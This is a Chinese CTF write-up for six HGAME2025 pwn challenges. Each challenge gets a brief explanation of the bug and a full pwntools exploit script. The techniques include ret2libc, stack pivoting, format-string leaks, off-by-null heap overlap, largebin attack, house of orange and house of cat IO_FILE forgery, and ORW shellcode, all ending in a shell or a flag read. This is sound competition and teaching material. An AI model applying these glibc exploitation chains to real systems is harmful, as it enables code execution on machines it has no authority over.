0%

HGAME2025 pwn writeup

HGAME2025 pwn writeup

counting petals

数组最后一个越界,可以改v8,也就是用于计数变量,通过程序打印可以泄露栈上数据,最后ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.arch = 'amd64'
elf=ELF('./vuln')
libc=ELF(elf.libc.path, checksec = False)

io = process(elf.path)

io.sendlineafter(b'this time?',str(16))
for i in range(15):
io.sendlineafter(b':',str(1))
# pause()
io.sendlineafter(b':',str(0x1400000014))

io.sendlineafter("latter:",str(1))

io.recvuntil("85899345940 + ")
canary = int(io.recvuntil(" ",drop=True),10) & 0xffffffffffffffff
io.recvuntil("+ 1 + ")
libc_base = int(io.recvuntil(" ",drop=True),10) - 0x29d90
print("canary:", hex(canary))
print("libc_base:", hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139

try:
io.sendlineafter(b'this time?',str(16))
for i in range(15):
io.sendlineafter(b':',str(1))
io.sendlineafter(b':',str(0x1200000016))
io.sendlineafter(b':',str(pop_rdi))
io.sendlineafter(b':',str(binsh))
io.sendlineafter(b':',str(ret))
io.sendlineafter(b':',str(system))
io.sendlineafter("latter:",str(1))

except:
print("Can't recv")
io.close()
exit()

io.interactive()

ezstack

这题没直接给libc,需要拉取Docker,得到版本 Ubuntu GLIBC 2.31-0ubuntu9.16

程序开了一个子进程,输入输出共用一个管道,文件描述符为4

主要是栈迁移,但是要注意文件描述符的合法性,选择返回地址时要注意汇编代码是如何设置rdi的

data段上有一个gift,给了你0~9的10个数字,应该是用于设置read的rdi,可以通过栈迁移把rbp迁到0x404100+0x54的位置

1
.data:0000000000404100 04           db    4
1
2
3
4
5
6
7
8
.text:00000000004013CD        fd              = dword ptr -54h

.text:000000000040140F 48 8D 4D B0 lea rcx, [rbp+buf]
.text:0000000000401413 8B 45 AC mov eax, [rbp+fd]
.text:0000000000401416 BA 60 00 00 00 mov edx, 60h ; '`' ; nbytes
.text:000000000040141B 48 89 CE mov rsi, rcx ; buf
.text:000000000040141E 89 C7 mov edi, eax ; fd
.text:0000000000401420 E8 DB FD FF FF call _read

但是如果选择返回地址为0x4013D9的话就用不到上面这个gift,因为从这里开始会把先前的fd存起来

1
.text:00000000004013D9 89 7D AC         mov     [rbp+fd], edi

0x4013CD这个地址vuln函数的开头,从这里开始是用于控制rsp,不然rsp会乱跑,跑到一个不可写的地址

1
2
.text:00000000004013D1 55               push    rbp
.text:00000000004013D2 48 89 E5 mov rbp, rsp

禁用execve和execveat

最后栈迁移的话就多迁几次,第一次泄露libc,第二次调用read扩展字节读入orw,第三次迁移到orw读flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.arch = 'amd64'
elf=ELF('./vuln')
libc=ELF(elf.libc.path, checksec = False)

io = process(elf.path)

pop_rdi = 0x0000000000401713
pop_rsi_r15 = 0x0000000000401711
ret = 0x000000000040101a
leave_ret = 0x00000000004013cb

gift = 0x404100+4
bss = 0x404130+0x700
pd = b'a'*0x50 + p64(bss + 0x50) + p64(0x4013D9)
io.sendafter("Good luck.",pd)

pd = p64(pop_rdi) + p64(4)
pd += p64(pop_rsi_r15) + p64(elf.got['write']) + p64(0)
pd += p64(elf.plt['write']) + p64(0x4013CD)
pd = pd.ljust(0x50,b'a') + p64(bss-8) + p64(leave_ret)
io.sendafter("Good luck.",pd)

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.symbols['write']
print("libc_base:", hex(libc_base))
pop_rsi = 0x000000000002601f+libc_base
pop_rdx_r12 = 0x0000000000119431+libc_base
open = libc.symbols['open']+libc_base
read = libc.symbols['read']+libc_base
write = libc.symbols['write']+libc_base

pd = p64(pop_rdi) + p64(4)
pd += p64(pop_rsi) + p64(0x404910)
pd += p64(pop_rdx_r12) + p64(0x100) + p64(0)
pd += p64(read) + p64(0x4013CD)
pd = pd.ljust(0x50,b'a') + p64(0x404810-8) + p64(leave_ret)
io.sendafter("Good luck.",pd)

pd = b"/flag\x00\x00\x00" # 0x404910
#open
pd += p64(pop_rdi) + p64(0x404910)
pd += p64(pop_rsi) + p64(0)
pd += p64(open)
#read
pd += p64(pop_rdi) + p64(5)
pd += p64(pop_rsi) + p64(0x404a10)
pd += p64(pop_rdx_r12) + p64(0x30) + p64(0)
pd += p64(read)
#write
pd += p64(pop_rdi) + p64(4)
pd += p64(pop_rsi) + p64(0x404a10)
pd += p64(pop_rdx_r12) + p64(0x30) + p64(0)
pd += p64(write)
pause()
io.send(pd)

pd = b'a' * 0x50 + p64(0x404910) + p64(leave_ret)
io.sendafter("Good luck.",pd)


io.interactive()

format

这道题和corCTF2024的format-string相似

原理的话直接看https://sashactf.gitbook.io/pwn-notes/ctf-writeups/cor-ctf-2024/format-string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.arch = 'amd64'
elf=ELF('./vuln')
libc=ELF(elf.libc.path, checksec = False)

io = process(elf.path)

# io.sendlineafter("n = ",str(0x2000))
# for i in range(0x2000):
# print(i)
# io.sendlineafter("type something:","%sX")
# try:
# io.recvuntil("X"*(i+1))
# pass
# except:
# print(f"found {i} bytes")
# break
# >>> found 2981 bytes

io.sendlineafter("n = ",str(2982))
io.sendlineafter("type something:","%sX"*2982)

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x234da5
print("libc_base:", hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139

# pause()
io.sendafter("n = ",str(-0x100)+"\na")
io.sendlineafter("type something:",b'a'*12+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system))

io.interactive()

Signin2Heap

程序存在一个off by null漏洞,通过这个实现堆重叠

glibc2.27可以直接劫持free_hook为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.arch = 'amd64'
elf=ELF('./vuln')
libc=ELF(elf.libc.path, checksec = False)

io = process(elf.path)

def choice(idx):
io.sendafter(b'choice:',p32(idx))

def add(idx,size,content=b'aaaa'):
choice(1)
io.sendlineafter(b'Index: ',str(idx))
io.sendlineafter(b'Size: ',str(size))
io.sendafter(b'Content: ',content)

def free(idx):
choice(2)
io.sendlineafter(b'Index: ',str(idx))

def show(idx):
choice(3)
io.sendlineafter(b'Index: ',str(idx))

def exit_():
choice(4)

for i in range(7):
add(i,0xf8)

add(7,0xf8)
add(8,0xf8)
add(9,0x68)
add(10,0x68)
add(11,0x68)
add(12,0x68,b'/bin/sh\x00')
add(13,0x68)
add(14,0xf8)
add(15,0x68)

for i in range(7):# 0-6
free(i)
free(13)
add(13,0x68,b'a'*0x60+p64(0x330))

free(8)
free(14)
add(8,0xa0,b'a')
add(0,0x40)
show(9)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
print("libc_base:", hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

free(11)
free(10)
add(10,0x80,b'a'*0x60+p64(0)+p64(0x71)+p64(free_hook))

add(1,0x68)
add(2,0x68,p64(system))

free(12)

io.interactive()

Where is the vulnerability

一道经典的largebin attack + house of orange

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
context.arch = 'amd64'
elf=ELF('./vuln')
libc=ELF(elf.libc.path, checksec = False)

io = process(elf.path)

def choice(idx):
io.sendlineafter(b'>',str(idx))

def add(idx,size):
choice(1)
io.sendlineafter(b'Index: ',str(idx))
io.sendlineafter(b'Size: ',str(size))

def free(idx):
choice(2)
io.sendlineafter(b'Index: ',str(idx))

def edit(idx,content):
choice(3)
io.sendlineafter(b'Index: ',str(idx))
io.sendafter(b'Content: ',content)

def show(idx):
choice(4)
io.sendlineafter(b'Index: ',str(idx))

def exit_():
choice(5)

add(0,0x520) #0
add(1,0x530) #1
add(2,0x518) #2
free(0)

add(3,0x540) #3

show(0) #0
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00")) - 0x203f50
print("libc_base:", hex(libc_base))
edit(0,b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x290
print("heap_base:", hex(heap_base))
edit(0,p64(libc_base + 0x1f70f0)*2)

pop_rdi =libc_base + 0x000000000010f75b
pop_rsi = libc_base + 0x0000000000110a4d
pop_rdx_leave_ret = libc_base +0x000000000009819d
pop_rax = libc_base + 0x00000000000dd237
pop_rbp = libc_base + 0x0000000000028a91
ret = libc_base + 0x000000000002882f

stderr=libc_base+libc.sym['stderr']
_IO_list_all = libc_base+libc.sym['_IO_list_all']
setcontext=libc_base+libc.sym['setcontext']
syscall_ret=libc_base + 0x98FA6
fake_io_addr = heap_base + 0xd00
rop_addr = heap_base + 0x2750
mprotect = libc_base + libc.sym['mprotect']

fake_IO_FILE = b''
#fake_IO_FILE += p64(_flags) #_flags=rdi
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr+0xb0) #_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext + 61) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10,b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10,b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10,b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #_wide_data,rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10,b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10,b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x30) # vtable=IO_wfile_jumps+0x10 FSOP改为IO_wfiel_jumps+0x30
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # #rax2 -> to make [rax+0x18] = setcontext + 61
payload = fake_IO_FILE + p64(0)*7 + p64(rop_addr) + p64(ret)
print("stderr:", hex(stderr))
free(2)

add(4,0x518)
edit(4,payload)
free(4) # 2
#largebin attack
edit(0,p64(libc_base+0x1f70f0)*2 + p64(heap_base+0x290) + p64(_IO_list_all-0x20))

add(5,0x540)
add(6,0x530)
add(7,0x530)

rop = p64(pop_rdi) + p64(libc_base-0x3000)
rop += p64(pop_rsi) + p64(0x3000)
rop += p64(pop_rax) + p64(10)
rop += p64(pop_rbp) + p64(rop_addr + 0x48)
rop += p64(pop_rdx_leave_ret) + p64(7)
rop += p64(syscall_ret)

rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(libc_base-0x3000)
rop += p64(pop_rax) + p64(0)
rop += p64(pop_rbp) + p64(rop_addr + 0xa0)
rop += p64(pop_rdx_leave_ret) + p64(0xff)
rop += p64(syscall_ret) + p64(libc_base-0x3000)

add(8,0x530)
edit(8,rop)
free(5)
add(9,0x550)
free(7)

sc = shellcraft.pushstr('./flag')
sc += shellcraft.open('rsp', 0, 0)
sc += shellcraft.read('rax', 'rsp', 0x30)
sc += shellcraft.write(1, 'rsp', 0x30)

choice(5)
sleep(0.1)
io.send(asm(sc))

io.interactive()

Hit list

利用smallbin残留数据泄露堆地址,unsortbin残留数据泄露libc,house of botcake修改_IO_list_all,用house of cat的链子完成getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
context.arch = 'amd64'
elf=ELF('./vuln')
libc=ELF(elf.libc.path, checksec = False)

io = process(elf.path)

def choice(idx):
io.sendlineafter(b'>',str(idx))

def add(size,content=b'c',id=0,name='n'):
choice(1)
io.sendlineafter(b'>',str(id))
io.sendlineafter(b'>',name)
io.sendlineafter(b'>',str(size))
io.sendafter(b'>',content)

def free(idx):
choice(2)
io.sendlineafter(b'>',str(idx))

def edit(idx,name,size,content):
choice(3)
io.sendlineafter(b'>',str(idx))
io.sendlineafter(b'>',name)
io.sendlineafter(b'>',str(size))
io.sendlineafter(b'>',content)

def show(idx):
choice(4)
io.sendlineafter(b'>',str(idx))

def exit_():
choice(5)

for i in range(14):#13
add(0x100)

for i in range(7):#6
free(0)

free(0)
add(0x110) #6
free(0)
add(0x110) #6
free(0)
add(0x110) #6
for i in range(7): #13
add(0x100)

add(0x100) #14
show(14)
io.recvuntil(b'Information: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0xe63
print("heap_base:", hex(heap_base))
key = (heap_base >> 12) + 1
print("key:", hex(key))
add(0x40) #15
show(15)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x21ac63
print("libc_base:", hex(libc_base))
__exit_hook = libc_base + 0x2169F8
print("__exit_hook:", hex(__exit_hook))

add(0x100) #16 #0xe10
add(0x100) #17 clean chunk

for i in range(7): # 18-24
add(0x110)

for i in range(7):
free(18)

free(5)
free(4)
add(0x110)

choice(1)
io.sendlineafter(b'>',str(0))
io.sendlineafter(b'>','a')
io.sendlineafter(b'>',str(-9))
io.sendlineafter(b'>',hex((heap_base+0x1540)))

add(0x120,0x110*b'\x00'+p64(0x121)+p64((libc_base+libc.sym['_IO_list_all'])^key))

#house of cat
fake_io_addr=heap_base+0x21c8 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE = b''
fake_IO_FILE += b'/bin/sh\x00' #_flags=rdi
fake_IO_FILE += p64(0)*7
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr+0xb0) #_IO_backup_base=rdx
fake_IO_FILE += p64(libc_base+libc.sym['system']) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #_wide_data,rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x30) # vtable=IO_wfile_jumps+0x10 FSOP改为IO_wfiel_jumps+0x30
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # #rax2 -> to make [rax+0x18] = setcontext + 61
print(hex(len(fake_IO_FILE)))
add(0x200,fake_IO_FILE)

add(0x110)
add(0x110,name=p64(fake_io_addr))
pause()
choice(5)

io.interactive()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道